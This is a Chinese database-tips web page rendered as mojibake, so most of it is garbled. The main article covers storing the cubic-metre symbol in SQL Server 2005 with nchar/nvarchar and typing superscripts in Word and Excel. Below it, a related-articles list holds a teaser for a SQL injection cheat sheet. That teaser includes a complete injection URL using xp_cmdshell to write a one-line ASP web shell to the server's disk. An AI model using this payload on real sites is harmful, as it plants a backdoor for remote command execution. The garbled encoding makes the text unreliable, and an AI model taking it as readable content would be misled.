Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

ÈçºÎÔÚSQL Server 2005 Öд洢Á¢·½Ã×

ÒªÔÚSQL ServerÊý¾Ý¿âÖд洢m³²¢´òÓ¡³öÀ´, ·½·¨ÈçÏ£º
    1£©½«Êý¾Ý¿âÖÐÏàÓ¦×ֶεÄÊý¾ÝÀàÐÍÉèΪnchar»ònvarcharÀàÐÍ¡£
    2£©´ÓExcelÖеõ½m³£¬¸´ÖÆÕ³Ìùµ½½ÓÊÕÊý¾ÝµÄ¿Ø¼þÖУ¨TextBox¡¢DataGridViewµÈ£©¡£±£´æ¼´¿É¡£
    ×¢£º1£©nchar,nvarcharÓëchar,varcharµÄÇø±ð
        nchar,nvarcharÇ°Ãæ¶¼Óиö'n',±íʾ´æ´¢µÄÊÇUnicodeÊý¾ÝÀàÐ͵Ä×Ö·û¡£Unicode×Ö·û¼¯ÊÇΪÁ˽â¾öÓ¢Îĺͺº×Ö·Ö±ð´æ´¢ÊÇËùÐèµÄ×Ö½Ú²»Í¬µÄÎÊÌâ¶ø²úÉúµÄ£¨Ç°ÕßÒ»¸ö×Ö½Ú¡¢ºóÕßÁ½¸ö×Ö½Ú£©¡£Unicode×Ö·û¼¯È«²¿ÓÃÁ½¸ö×Ö½Ú¡£Á½Õß×î¶à¿ÉÒÔ´æ´¢4000¸÷×Ö·û£¬²»ÂÛºº×Ö»¹ÊÇÓ¢ÎÄ¡£
        char,varcharÁ½Õß´æ´¢µÄÊÇ·ÇUnicodeÊý¾ÝÀàÐ͵Ä×Ö·û¡£×î¶à´æ´¢8000¸öÓ¢ÎÄ£¬4000¸öºº×Ö¡£
        ËùÒÔ£¬Èç¹ûÊÇ´¿Ó¢ÎĺÍÊý×Ö£¬ÓÃchar/varchar£»Èç¹ûÊý¾ÝÖÐÓкº×Ö£¬¿ÉÒÔÓÃnchar/nvarchar¡£
        2£©´ÓWORDºÍEXCELÖеõ½m³
        WORD:ͨ¹ýÉèÖÃÉϱêµÄ·½·¨ÊµÏÖ¡£ÊäÈëm,°´"shift"+"Ctrl"+"+",ÊäÈë3£¬Ôٴΰ´"shift"+"Ctrl"+"+",»Øµ½Õý³£×´Ì¬¡£ÕâÖÖ·½·¨µÃµ½µÄm³¸´ÖƵ½EXCELÖиñʽ»áÏûʧ£¨±äΪm3£©¡£
        EXCEL:С¼üÅÌ£¬ALT+179¡£»òÊäÈëm£¬²åÈë-->·ûºÅ£¬ÕÒµ½Éϱê3£¬µ¥»÷¡¾²åÈë¡¿¼´¿É¡£ÕâÖÖ·½·¨µÃµ½µÄm³¸´ÖƵ½WORDÖиñʽ²»»áÏûʧ¡£


Ïà¹ØÎĵµ£º

×îÏêϸµÄSQL×¢ÈëÓï¾ä

×îÏêϸµÄSQL×¢ÈëÓï¾äÏà¹ØµÄÃüÁîÕûÀí
1¡¢    ÓÃ^תÒå×Ö·ûÀ´Ð´ASP(Ò»¾ä»°Ä¾Âí)ÎļþµÄ·½·¨:
   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......

Oracleά»¤³£ÓÃSQLÓï¾ä»ã×Ü

ÈçºÎÔ¶³ÌÅжÏOracleÊý¾Ý¿âµÄ°²×°Æ½Ì¨
select * from v$version;
²é¿´±í¿Õ¼äµÄʹÓÃÇé¿ö
select sum(bytes)/(1024*1024) as free_space,tablespace_name
from dba_free_space
group by tablespace_name;
SELECT A.TABLESPACE_NAME,A.BYTES TOTAL,B.BYTES USED, C.BYTES FREE,
(B.BYTES*100)/A.BYTES "% USED",(C.BYTES ......

SQL Server 2005ͨ¹ýÈÕÖ¾²é¿´·þÎñÆ÷µÄÔËÐÐÇé¿ö

4.6 ͨ¹ýÈÕÖ¾²é¿´·þÎñÆ÷µÄÔËÐÐÇé¿ö
SQL Server 2005¿ÉÒÔ½«Ä³Ð©ÏµÍ³Ê¼þºÍÓû§×Ô¶¨ÒåµÄʼþ¼Ç¼µ½SQL Server´íÎóÈÕÖ¾ºÍWindowsÓ¦ÓóÌÐòÈÕÖ¾ÖС£ÕâÁ½ÖÖÈÕÖ¾¶¼»á×Ô¶¯±êÉÏʱ¼ä¡£
4.6.1 ÔÚ¡¾Ê¼þ²é¿´Æ÷¡¿Öв鿴·þÎñÆ÷µÄÔËÐÐÇé¿ö
SQL Server 2005·þÎñÆ÷µÄÆô¶¯¡¢¹Ø±ÕºÍÔÝÍ£¶¯×÷£¬¶¼»á²úÉúÒ»¸öʼþ¼Ç¼£¬Õâ¸ö¼Ç¼½«»á¼ÇÔÚWindows ......

SQL Server 2005ÖеÄÎļþºÍÎļþ×é

--> Title  : SQL Server 2005ÖеÄÎļþºÍÎļþ×é
--> Author : wufeng4552
--> Date   : 2009-10-23
1¡¢ÎļþºÍÎļþ×éµÄº¬ÒåÓë¹ØÏµ
    ÿ¸öÊý¾Ý¿âÓÐÒ»¸öÖ÷Êý¾ÝÎļþ.ºÍÈô¸É¸ö´ÓÎļþ¡£ÎļþÊÇÊý¾Ý¿âµÄÎïÀíÌåÏÖ¡£ Îļþ×é¿ÉÒÔ°üÀ¨·Ö²¼ÔÚ¶à¸öÂß¼­·ÖÇøµÄÎļþ£¬ÊµÏÖ¸ºÔØÆ½ºâ¡£Îļþ×éÔÊÐ ......

ORACLE ³£ÓõÄSQLÓï·¨ºÍÊý¾Ý¶ÔÏó

 Ò».Êý¾Ý¿ØÖÆÓï¾ä (DML) ²¿·Ö
            1.Insert (ÍùÊý¾Ý±íÀï²åÈë¼Ç¼µÄÓï¾ä)
            Insert INTO ±íÃû(×Ö¶ÎÃû1, ×Ö¶ÎÃû2, ……) VALUES ( Öµ1, Öµ2, ……);
&nb ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ